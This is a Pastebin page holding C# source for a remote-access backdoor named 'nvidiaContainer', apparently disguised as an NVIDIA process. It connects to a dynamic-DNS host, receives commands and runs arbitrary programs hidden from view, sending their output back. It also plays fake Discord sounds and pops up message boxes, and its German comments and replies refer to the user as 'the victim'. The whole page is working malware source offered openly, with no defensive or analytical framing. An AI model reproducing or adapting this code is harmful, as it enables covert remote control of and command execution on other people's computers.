Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.IO;
- using System.Net;
- using System.Net.Sockets;
- using System.Diagnostics;
- using System.Media;
- using System.Threading;
- using System.Runtime.InteropServices;
- namespace nvidiaContainer
- {
- static class Program
- {
- private static TcpClient connection;
- private static IPAddress zieladresse = Dns.GetHostAddresses("cryshot.ddns.net")[0];
- //private static IPAddress zieladresse = IPAddress.Parse("192.168.0.2");
- private static StreamWriter writer;
- private static StreamReader reader;
- private static String answer = "";
- private static bool connected = false;
- [DllImport("user32.dll")]
- public static extern IntPtr SendMessageW(IntPtr hWnd, int Msg,
- IntPtr wParam, IntPtr lParam);
- public static void VolumeUp()
- {
- SendMessageW(Process.GetCurrentProcess().MainWindowHandle, 0x319, Process.GetCurrentProcess().MainWindowHandle, (IntPtr)0x90000);
- }
- static void Main(string[] args)
- {
- Stopwatch watch = new Stopwatch();
- while (true)
- {
- // Mit Server verbinden
- connection = new TcpClient();
- while (!connection.Connected)
- {
- Console.ForegroundColor = ConsoleColor.Cyan;
- Console.WriteLine("Verbinde mit Server...");
- Console.ForegroundColor = ConsoleColor.Gray;
- try
- {
- connection.Connect(zieladresse, 25565);
- }
- catch (Exception e)
- {
- Console.ForegroundColor = ConsoleColor.Yellow;
- Console.WriteLine("Fehler beim Verbinden: " + e.Message);
- Console.ForegroundColor = ConsoleColor.Gray;
- }
- }
- connected = true;
- try
- {
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("\nVerbindung mit " + zieladresse + " hergestellt!");
- Console.ForegroundColor = ConsoleColor.Gray;
- // Networkstream erstellen, auf Befehle warten und jeweils ausführen (Endlosschleife)
- NetworkStream stream = connection.GetStream();
- writer = new StreamWriter(stream);
- reader = new StreamReader(stream);
- String command = "9712394711237419082374";
- watch.Reset(); watch.Start();
- // Mainthread
- while (connected)
- {
- if (connected && stream.DataAvailable)
- {
- command = reader.ReadLine();
- Console.WriteLine("empfangen: " + command);
- }
- if (command == "lifecheck")
- {
- watch.Stop();
- watch.Reset();
- watch.Start();
- writer.WriteLine("lifecheck"); writer.Flush();
- command = "9712394711237419082374";
- }
- if (command.Contains("lifecheck"))
- {
- command = command.Remove(command.Length - 9, 9);
- }
- if (command.Contains("lifecheck"))
- {
- command = command.Remove(command.Length - 9, 9);
- }
- // Timeout einstellen
- if (watch.ElapsedMilliseconds > 1000)
- {
- Console.WriteLine("Receiving no lifecheck update from server... terminating connection!");
- connected = false;
- }
- if (answer != "")
- {
- writer.WriteLine(answer); writer.Flush();
- answer = "";
- }
- if (command != "9712394711237419082374" && command != "lifecheck")
- {
- PerformTask(command);
- }
- command = "9712394711237419082374";
- }
- }
- catch (SocketException ex)
- {
- Console.WriteLine("Fehler: " + ex.Message);
- }
- }
- }
- private static void PerformTask(String command)
- {
- SoundPlayer player; Stream s;
- String arguments = "";
- Thread thread;
- if (command.Contains("lifecheck"))
- {
- command = command.Remove(command.Length - 9, 9);
- }
- if (command.Contains(' '))
- {
- arguments = command.Remove(0, command.IndexOf(' '));
- command = command.Remove(command.IndexOf(' '), arguments.Length);
- }
- command = command.ToLower();
- writer.WriteLine("lifecheck"); writer.Flush();
- switch (command)
- {
- // Discord Sounds ------------------------------------------------------------------------------------------------------------
- case "playmessage":
- s = Properties.Resources.Message;
- player = new SoundPlayer(s);
- player.Play();
- break;
- case "playjoin":
- s = Properties.Resources.Join;
- player = new SoundPlayer(s);
- player.Play();
- break;
- case "playleave":
- s = Properties.Resources.Leave;
- player = new SoundPlayer(s);
- player.Play();
- break;
- // Discord Sounds ------------------------------------------------------------------------------------------------------------
- // MessageBoxen ------------------------------------------------------------------------------------------------------------
- case "msgquestion":
- thread = new Thread(delegate()
- {
- DialogResult result = MessageBox.Show(arguments, "Mitteilung", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
- if (result == DialogResult.Yes)
- {
- answer = "MessageBox:\t\tDas Opfer antwortete mit JA";
- }
- else if (result == DialogResult.No)
- {
- answer = "MessageBox:\t\tDas Opfer antwortete mit NEIN";
- }
- });
- thread.IsBackground = true;
- thread.Start();
- break;
- case "msgerror":
- thread = new Thread(delegate ()
- {
- DialogResult result = MessageBox.Show(arguments, "Mitteilung", MessageBoxButtons.OK, MessageBoxIcon.Error);
- });
- thread.IsBackground = true;
- thread.Start();
- break;
- case "volumeup":
- SendMessageW(Process.GetCurrentProcess().MainWindowHandle, 0x319, Process.GetCurrentProcess().MainWindowHandle, (IntPtr)0x80000);
- break;
- // MessageBoxen ------------------------------------------------------------------------------------------------------------
- // CMD Commands
- default:
- thread = new Thread(delegate ()
- {
- ProcessStartInfo info = new ProcessStartInfo();
- info.FileName = command;
- info.Arguments = arguments;
- info.CreateNoWindow = true;
- info.RedirectStandardOutput = true;
- info.UseShellExecute = false;
- Process p = new Process();
- p.StartInfo = info;
- try
- {
- p.Start();
- StreamReader r = p.StandardOutput;
- String output = r.ReadToEnd();
- answer = output;
- }
- catch (Exception e)
- {
- answer = e.Message;
- Console.WriteLine(e.Message);
- }
- });
- thread.IsBackground = true;
- thread.Start();
- break;
- }
- answer = "Client:\t\tBefehl bestätigt: \t" + command;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement